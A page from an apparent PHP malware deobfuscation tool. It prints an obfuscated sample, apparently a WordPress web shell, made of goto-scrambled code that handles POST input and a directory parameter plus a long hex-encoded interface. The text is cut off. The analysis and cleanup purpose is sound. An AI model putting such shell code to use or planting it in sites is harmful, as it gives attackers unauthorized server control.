Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

/******/////*/////<?php goto umVtk; QpTJ2: class FoJ8N { public $ddguj; public $N5qPH; public function JAO9O() { goto kiPaN; kiPaN: $this->N5qPH = $_POST; goto JbWF3; uZAN0: $this->ddguj = isset($_POST["\x64\x69\x72"]) ? Pbm07(chop($_POST["\x64\x69\x72"]) . "\x2f") : k3TER; goto WTYcW; JbWF...



Obfuscated php code

/******/////*/////<?php

 goto umVtk; QpTJ2: class FoJ8N { public $ddguj; public $N5qPH; public function JAO9O() { goto kiPaN; kiPaN: $this->N5qPH = $_POST; goto JbWF3; uZAN0: $this->ddguj = isset($_POST["\x64\x69\x72"]) ? Pbm07(chop($_POST["\x64\x69\x72"]) . "\x2f") : k3TER; goto WTYcW; JbWF3: $_POST = MweMB($_POST); goto uZAN0; WTYcW: $this->xfqjS(); goto eR21H; eR21H: } public function xfQJS() { goto lOuSy; lOuSy: $QSO8f = "\40\x20\x20\40\x20\x20\x20\x20\74\x21\104\x4f\103\124\131\120\105\40\x68\x74\x6d\x6c\40\x50\x55\x42\x4c\111\x43\x20\42\x2d\x2f\x2f\x57\63\103\57\x2f\x44\124\x44\x20\130\x48\x54\115\114\40\x31\x2e\x30\40\123\x74\x72\151\x63\x74\x2f\x2f\x45\116\42\x20\42\x68\x74\x74\x70\72\57\57\x77\167\x77\56\x77\63\56\157\162\x67\57\124\x52\57\x78\150\x74\x6d\x6c\x31\57\104\124\x44\x2f\x78\x68\x74\x6d\154\x31\x2d\x73\x74\x72\151\143\164\56\144\164\144\42\x3e\15\12\x20\x20\40\x20\74\150\x74\x6d\x6c\76\xd\12\40\40\40\40\x3c\x68\145\x61\144\x3e\15\12\40\40\40\40\x20\40\x20\x20\x3c\x6d\145\164\x61\40\x68\164\164\160\55\145\x71\x75\151\166\x3d\42\x43\157\156\x74\145\156\x74\55\124\x79\x70\145\x22\x20\143\157\156\164\145\156\x74\x3d\42\164\145\170\x74\57\x68\x74\155\x6c\73\40\x63\150\x61\x72\163\x65\164\75\x75\x74\146\55\x38\x22\x2f\76\15\xa\40\x20\40\40\40\x20\x20\x20\x3c\x73\164\171\x6c\145\40\x74\x79\x70\x65\75\42\x74\x65\170\x74\x2f\143\x73\x73\x22\76\xd\xa\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x2a\40\x7b\15\12\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\155\x61\x72\x67\151\156\x3a\40\x30\x70\x78\73\xd\12\40\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x70\x61\144\144\151\156\x67\x3a\40\x30\160\x78\73\15\xa\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\x7d\15\12\xd\12\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\142\157\144\171\x20\x7b\15\xa\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\142\141\143\153\147\x72\157\165\156\x64\72\x20\43\x65\142\x65\x62\x65\x62\73\15\xa\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\143\157\154\157\x72\72\x20\43\63\63\x33\x33\x33\63\x3b\xd\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\146\157\156\164\55\163\151\x7a\145\72\40\x31\63\160\x78\x3b\xd\xa\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\146\157\156\x74\55\x66\141\x6d\151\x6c\x79\x3a\40\x4d\151\143\162\x6f\163\157\x66\164\40\131\x61\x48\145\x69\x2c\40\x53\151\155\123\165\x6e\x2c\x20\x73\x61\x6e\x73\55\x73\145\162\x69\146\73\15\xa\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\164\145\170\x74\x2d\x61\154\151\x67\156\x3a\40\x6c\145\146\x74\x3b\xd\xa\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\167\x6f\x72\x64\55\x77\162\x61\160\x3a\x20\x62\x72\145\x61\153\x2d\x77\157\162\144\73\15\xa\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\167\x6f\x72\144\x2d\142\x72\x65\x61\x6b\72\x20\142\x72\145\141\153\x2d\x61\154\154\73\15\xa\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x2f\57\x20\142\141\143\153\147\x72\x6f\x75\x6e\x64\55\x69\155\141\147\x65\x3a\x20\x75\x72\154\x28\x68\x74\x74\160\x73\72\57\x2f\x70\x69\143\56\66\61\66\160\x69\143\x2e\x63\157\x6d\57\x62\x67\137\x77\x31\x31\70\60\57\x30\60\x2f\60\61\x2f\64\63\x2f\x72\127\x42\65\x4f\106\112\161\x56\110\x2e\152\x70\x67\51\x3b\xd\xa\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\57\57\x20\x62\x61\x63\153\147\162\157\165\x6e\144\x2d\163\151\172\x65\x3a\x31\x30\60\x25\x20\61\x30\x30\x25\73\15\xa\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x7d\15\12\xd\12\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x61\x20\x7b\xd\12\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\x63\x6f\x6c\157\162\x3a\40\43\x30\60\x30\x30\x30\x30\73\15\xa\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\164\x65\x78\164\55\144\x65\x63\157\x72\x61\164\151\157\156\72\x20\156\157\156\145\73\15\xa\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\166\x65\162\x74\x69\x63\141\154\55\141\154\151\147\156\x3a\40\155\151\144\x64\154\x65\73\15\xa\40\40\40\x20\40\40\x20\x20\40\x20\40\40\175\xd\xa\xd\xa\40\40\x20\40\x20\40\40\x20\x20\40\40\x20\x61\72\150\157\166\x65\162\x20\173\15\12\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\x63\157\x6c\x6f\x72\72\40\43\106\106\60\x30\x30\60\x3b\15\12\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\164\x65\x78\164\x2d\144\145\x63\x6f\162\141\x74\x69\x6f\x6e\72\40\x75\x6e\144\145\162\154\x69\156\x65\x3b\xd\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x7d\xd\xa\15\xa\x20\40\40\x20\40\40\x20\x20\x20\40\40\40\x70\x20\173\xd\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\160\141\x64\144\x69\156\147\72\40\61\x70\x78\x3b\15\12\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x6c\x69\156\x65\55\x68\x65\151\147\x68\164\72\x20\61\56\66\145\155\x3b\xd\xa\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\175\15\xa\xd\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\150\x31\x20\173\15\12\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\x63\x6f\x6c\157\x72\x3a\x20\43\103\104\x33\63\x33\63\73\15\12\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\146\x6f\156\164\x2d\x73\151\172\x65\x3a\40\61\63\160\170\x3b\xd\xa\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\144\151\163\x70\x6c\x61\x79\72\40\x69\156\x6c\151\156\145\x3b\xd\12\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x76\x65\162\164\x69\143\x61\154\x2d\141\154\151\147\x6e\x3a\40\155\151\x64\144\x6c\x65\73\15\xa\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\175\xd\12\xd\12\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\150\62\x20\x7b\15\xa\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\143\x6f\x6c\x6f\162\x3a\x20\x23\60\60\70\102\64\65\x3b\15\xa\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\x20\x66\x6f\156\164\x2d\x73\151\172\x65\72\x20\61\63\160\170\73\xd\12\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\144\x69\163\160\154\141\x79\72\40\151\156\154\x69\x6e\x65\x3b\15\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\40\x20\166\x65\x72\x74\151\143\141\x6c\55\x61\154\151\x67\156\72\x20\x6d\151\144\x64\x6c\x65\73\xd\12\40\40\40\x20\40\40\40\40\40\40\x20\x20\x7d\15\xa\15\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\40\146\x6f\x72\155\x20\x7b\xd\xa\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\x64\x69\x73\x70\x6c\x61\x79\x3a\x20\x69\156\x6c\x69\x6e\x65\x3b\15\12\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\175\15\12\15\xa\40\x20\40\40\x20\40\40\40\40\x20\x20\40\151\x6e\160\165\164\54\x20\x73\x65\x6c\145\x63\x74\x20\x7b\xd\12\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x76\x65\x72\164\151\143\141\154\55\x61\154\x69\147\156\x3a\x20\x6d\x69\144\144\154\145\x3b\xd\12\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\175\15\xa\15\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\151\x6e\x70\165\x74\133\x74\x79\160\145\x3d\x74\145\x78\164\x5d\54\40\164\145\x78\x74\x61\x72\x65\x61\40\x7b\15\xa\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\160\x61\x64\x64\151\156\147\x3a\x20\x31\x70\170\73\xd\12\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x66\x6f\156\x74\x2d\x66\141\155\x69\x6c\171\72\40\x4d\151\143\x72\x6f\x73\x6f\x66\164\x20\131\141\110\x65\151\54\x20\x73\x61\156\163\55\163\145\162\151\x66\x3b\15\12\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x7d\xd\12\xd\12\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x69\x6e\160\165\164\x5b\164\x79\160\145\75\163\x75\142\155\x69\164\x5d\54\x20\151\x6e\160\x75\164\x5b\164\171\x70\x65\x3d\x62\165\164\164\157\x6e\x5d\x20\x7b\15\12\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x68\x65\x69\147\150\x74\x3a\x20\x32\x31\x70\170\73\xd\xa\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\175\15\12\15\12\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x2e\164\141\x67\x20\x7b\xd\12\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x74\x65\170\x74\55\x61\x6c\x69\147\156\x3a\x20\143\x65\x6e\164\145\162\73\xd\12\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x2f\x2f\x20\155\141\162\147\151\x6e\55\x6c\x65\x66\164\72\40\x31\60\x70\170\x3b\15\12\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\142\x61\x63\153\x67\162\157\x75\156\144\72\x20\x74\x68\162\145\x65\x64\x66\141\143\145\73\xd\12\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\150\145\x69\x67\150\x74\72\40\x32\x35\160\x78\x3b\xd\12\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\160\x61\144\144\151\156\x67\x2d\x74\157\x70\72\x20\x35\160\170\73\15\xa\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\175\15\12\15\12\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x2e\164\141\x67\x20\x61\x20\x7b\xd\12\x20\40\40\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\142\141\x63\x6b\x67\162\157\x75\156\x64\72\40\x23\x46\101\x46\x41\106\101\73\15\12\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\143\157\154\x6f\x72\72\40\x23\x33\x33\x33\x33\63\x33\x3b\15\12\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x77\151\x64\x74\x68\x3a\40\x39\x30\x70\170\x3b\15\xa\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\150\x65\151\147\x68\164\x3a\x20\x32\x30\160\x78\x3b\xd\12\40\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\x20\144\x69\x73\x70\x6c\x61\171\72\x20\151\156\154\151\156\145\55\142\154\x6f\143\x6b\x3b\xd\12\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\146\157\156\164\55\163\151\172\x65\x3a\40\x31\x35\x70\170\73\15\xa\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x66\157\156\164\x2d\167\145\x69\x67\x68\164\x3a\x20\142\x6f\154\144\x3b\15\12\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x70\141\144\144\151\156\x67\x2d\x74\157\x70\x3a\40\x35\160\x78\73\xd\xa\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\175\15\xa\15\xa\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\x2e\164\141\x67\x20\x61\72\150\157\x76\145\x72\x2c\x20\56\164\141\147\x20\141\56\x63\x75\x72\162\x65\156\x74\x20\x7b\xd\xa\40\40\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\40\142\141\143\153\x67\162\157\165\x6e\144\x3a\x20\x23\x30\60\60\73\xd\xa\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\143\x6f\x6c\157\162\72\40\43\146\146\x66\x3b\xd\xa\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\164\145\170\x74\x2d\x64\x65\143\x6f\x72\141\x74\151\157\156\72\x20\x6e\157\156\145\73\15\xa\x20\x20\40\40\40\40\x20\40\40\x20\x20\40\x7d\15\xa\xd\12\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\56\x6d\141\151\156\40\x7b\xd\12\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\40\167\x69\x64\x74\150\72\40\71\x36\63\160\170\x3b\xd\12\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x6d\141\162\147\x69\156\72\40\60\40\x61\165\164\157\x3b\xd\xa\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x70\141\144\144\151\156\x67\72\40\61\x30\x70\170\x3b\15\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\175\15\xa\15\12\x20\x20\x20\40\x20\40\x20\x20\40\40\40\x20\56\157\x75\164\x6c\x20\173\15\xa\x20\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x62\x6f\162\x64\x65\x72\x2d\143\x6f\x6c\x6f\x72\72\40\x23\106\x46\106\106\x46\106\40\x23\66\x36\66\66\x36\66\x20\43\x36\66\x36\66\66\66\x20\43\x46\106\x46\x46\x46\106\73\15\xa\40\40\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\x62\x6f\x72\144\145\x72\55\x73\164\171\154\x65\x3a\x20\163\x6f\154\151\x64\x3b\xd\xa\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\142\x6f\x72\144\x65\x72\55\167\151\x64\x74\150\x3a\x20\61\160\170\73\xd\12\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\175\15\12\15\xa\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\56\164\x6f\x70\164\x61\x67\x20\x7b\15\12\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\40\x70\141\144\x64\151\156\147\72\x20\x31\x35\x70\170\73\15\xa\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\164\x65\170\164\55\141\x6c\151\147\156\72\x20\x6c\x65\146\164\73\xd\xa\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\146\x6f\x6e\x74\55\167\x65\151\147\150\x74\x3a\x20\x62\157\x6c\x64\73\15\xa\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\143\x6f\154\x6f\x72\x3a\40\43\106\x46\x46\x46\x46\106\x3b\15\12\40\40\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\x20\40\x62\141\143\153\147\x72\x6f\x75\156\x64\x3a\x20\43\60\x30\60\60\60\60\x3b\15\12\40\x20\x20\40\40\40\40\x20\40\40\x20\40\175\15\12\15\12\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\56\x66\x6f\x6f\164\141\x67\40\x7b\xd\xa\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\160\x61\x64\144\151\156\x67\72\40\65\x70\170\x3b\15\xa\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x74\x65\x78\x74\x2d\x61\x6c\x69\147\x6e\x3a\40\x63\145\x6e\164\145\x72\x3b\15\xa\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\40\146\x6f\156\x74\55\x77\x65\x69\147\150\164\x3a\40\142\157\x6c\144\73\xd\xa\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\143\157\154\x6f\162\72\40\x23\x66\x66\146\x3b\15\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x62\x61\143\x6b\x67\162\x6f\165\x6e\144\x3a\40\43\x30\x30\60\60\60\60\x3b\15\12\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x7d\xd\xa\xd\12\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\56\155\163\147\x62\x6f\x78\x20\x7b\15\12\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\40\x2f\57\40\160\141\144\144\x69\x6e\147\72\x20\x35\160\x78\x3b\xd\xa\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x62\x61\143\153\147\x72\157\x75\x6e\144\72\x20\x23\x30\x30\x30\73\xd\12\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\40\x20\x74\145\x78\164\x2d\x61\x6c\151\147\156\x3a\x20\x63\x65\156\164\x65\x72\73\xd\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\166\x65\162\164\x69\x63\x61\x6c\55\141\x6c\151\x67\156\x3a\x20\x6d\151\144\144\154\145\x3b\xd\xa\40\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x63\157\154\157\x72\72\40\x23\x46\x46\106\73\xd\12\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\175\xd\xa\15\12\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\56\141\143\x74\141\x6c\154\x20\x7b\15\xa\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x62\141\x63\x6b\147\x72\157\x75\156\x64\72\40\43\146\x66\x66\x66\x66\x66\x3b\xd\xa\40\40\40\40\40\40\40\40\40\40\40\40\40\40\40\x20\x74\145\x78\x74\55\x61\x6c\151\x67\x6e\x3a\x20\143\x65\156\x74\145\162\x3b\xd\xa\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x66\157\156\x74\55\x73\x69\x7a\145\72\40\x31\65\160\x78\x3b\xd\12\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\40\142\x6f\162\144\x65\x72\x2d\x62\x6f\x74\164\x6f\x6d\x3a\x20\61\160\x78\x20\x73\x6f\x6c\151\x64\x20\43\71\71\71\x39\71\x39\x3b\15\xa\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\160\141\x64\x64\x69\x6e\x67\x3a\40\x33\x70\170\x3b\xd\xa\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\166\x65\162\x74\x69\143\141\x6c\55\141\154\151\147\156\72\40\x6d\x69\x64\x64\154\x65\x3b\15\12\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\x7d\xd\12\xd\12\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\x2e\x74\x61\x62\x6c\145\x73\x20\x7b\xd\12\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\x77\151\x64\164\x68\72\x20\x31\x30\x30\x25\x3b\15\xa\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\175\xd\12\xd\12\40\40\40\x20\x20\40\40\40\x20\40\x20\40\56\164\x61\x62\x6c\x65\x73\40\x74\150\x20\x7b\15\xa\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x62\x61\x63\x6b\147\162\x6f\165\x6e\144\x3a\x20\164\x68\x72\x65\145\x64\x66\x61\x63\145\73\xd\xa\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x74\145\x78\x74\55\x61\x6c\151\x67\x6e\x3a\40\154\145\146\x74\x3b\xd\xa\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\x62\x6f\162\144\x65\x72\x2d\143\157\x6c\157\162\72\x20\43\106\x46\106\106\x46\106\x20\43\66\66\66\x36\66\66\x20\x23\66\x36\66\66\66\x36\40\43\x46\x46\x46\106\106\106\73\xd\xa\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x62\x6f\162\x64\x65\x72\55\163\164\x79\x6c\x65\x3a\x20\x73\157\154\x69\x64\73\xd\xa\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\142\157\162\x64\145\162\x2d\x77\151\144\164\x68\72\40\x31\160\170\73\xd\xa\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\160\141\x64\144\x69\156\x67\72\40\62\160\170\x3b\xd\12\40\40\x20\40\40\40\x20\40\40\x20\40\40\x7d\15\xa\xd\12\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x2e\164\141\x62\x6c\x65\x73\40\x74\144\40\x7b\xd\12\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\142\141\x63\x6b\x67\x72\157\x75\x6e\x64\72\40\43\x66\146\146\x66\146\146\x3b\xd\xa\40\40\40\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x68\x65\x69\147\150\164\x3a\40\x31\71\160\170\x3b\xd\12\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x70\x61\144\x64\151\156\x67\x2d\154\145\146\164\x3a\40\x32\160\x78\73\xd\xa\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\x7d\xd\xa\15\xa\xd\12\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\56\x62\147\173\15\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\167\151\144\164\150\x3a\x31\x30\60\45\73\15\xa\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\x68\x65\151\x67\x68\x74\x3a\61\60\60\x25\x3b\xd\12\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\154\145\146\x74\x3a\x30\73\xd\12\40\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\40\164\157\160\72\60\x3b\15\xa\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\x70\x6f\x73\151\164\151\x6f\x6e\x3a\x66\x69\170\x65\144\x3b\xd\xa\40\40\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x62\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x3a\x72\x67\142\x61\x28\x30\54\x30\x2c\x30\54\60\56\x33\51\73\xd\12\40\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\175\15\12\40\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\56\x70\x6f\x69\156\x74\173\xd\12\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x70\157\163\x69\x74\151\157\x6e\72\x61\142\163\x6f\x6c\165\x74\x65\x3b\xd\12\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\154\x65\146\x74\72\x35\60\45\x3b\xd\xa\x20\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x74\x6f\x70\x3a\x35\x30\x25\73\15\12\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\175\15\12\40\40\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x2e\160\157\x70\173\xd\12\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x77\x69\x64\164\150\72\65\x30\60\160\170\73\40\xd\xa\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\57\57\x20\150\145\x69\x67\x68\x74\x3a\65\x30\x30\x70\170\x3b\40\15\xa\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\x70\157\x73\151\x74\x69\x6f\156\72\x61\x62\163\157\154\x75\x74\x65\73\xd\xa\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\154\145\x66\x74\72\55\62\65\60\x70\170\x3b\x20\xd\xa\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\164\x6f\160\x3a\55\62\65\x30\x70\x78\x3b\x20\xd\xa\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\40\40\40\142\157\x72\x64\145\162\72\x20\x32\160\x78\x20\x73\x6f\154\x69\x64\x20\x23\x66\67\x66\x37\146\x37\73\xd\xa\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\142\x61\143\153\x67\x72\x6f\x75\x6e\144\x2d\x63\157\x6c\x6f\162\72\x20\x23\x46\106\x46\73\15\12\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\x62\157\x72\x64\145\162\55\162\141\144\151\x75\x73\x3a\x31\60\160\x78\73\15\12\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x7d\xd\xa\xd\12\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\56\x70\x6f\x70\x2d\x74\151\x74\154\x65\x7b\15\xa\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\150\x65\x69\147\150\164\x3a\x20\64\60\160\170\x3b\15\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\154\151\156\x65\x2d\150\145\151\147\150\164\72\40\64\60\160\x78\x3b\15\12\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\164\145\170\x74\55\x61\154\x69\x67\156\72\40\143\145\x6e\164\x65\162\73\xd\12\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x66\157\x6e\x74\55\x73\151\172\145\x3a\x20\x31\x34\x70\170\x3b\xd\12\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\x7d\xd\12\xd\12\xd\xa\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\56\x6c\x61\171\x75\x69\55\x74\145\170\x74\141\162\x65\141\x7b\15\12\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x6d\151\x6e\x2d\x68\145\x69\147\150\164\x3a\x20\x31\x30\x30\160\x78\73\xd\12\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\40\x68\x65\151\x67\150\x74\x3a\x20\x61\165\164\x6f\x3b\xd\12\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x6c\151\156\x65\x2d\150\x65\151\147\x68\164\72\40\62\60\x70\170\73\xd\12\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\160\x61\x64\x64\151\156\x67\x3a\40\x36\x70\x78\40\61\x30\x70\170\73\15\xa\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\162\145\x73\x69\x7a\x65\x3a\40\x76\145\x72\x74\151\143\141\154\73\xd\xa\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\144\x69\163\x70\x6c\141\171\72\40\x62\x6c\157\x63\x6b\x3b\xd\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\40\167\151\x64\x74\150\x3a\40\71\x35\45\x3b\xd\xa\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\142\157\x72\x64\145\162\x2d\167\151\144\x74\x68\72\x20\x31\160\x78\x3b\15\xa\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\142\157\162\144\145\x72\55\x73\x74\x79\x6c\x65\x3a\x20\163\x6f\154\x69\x64\73\xd\xa\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\4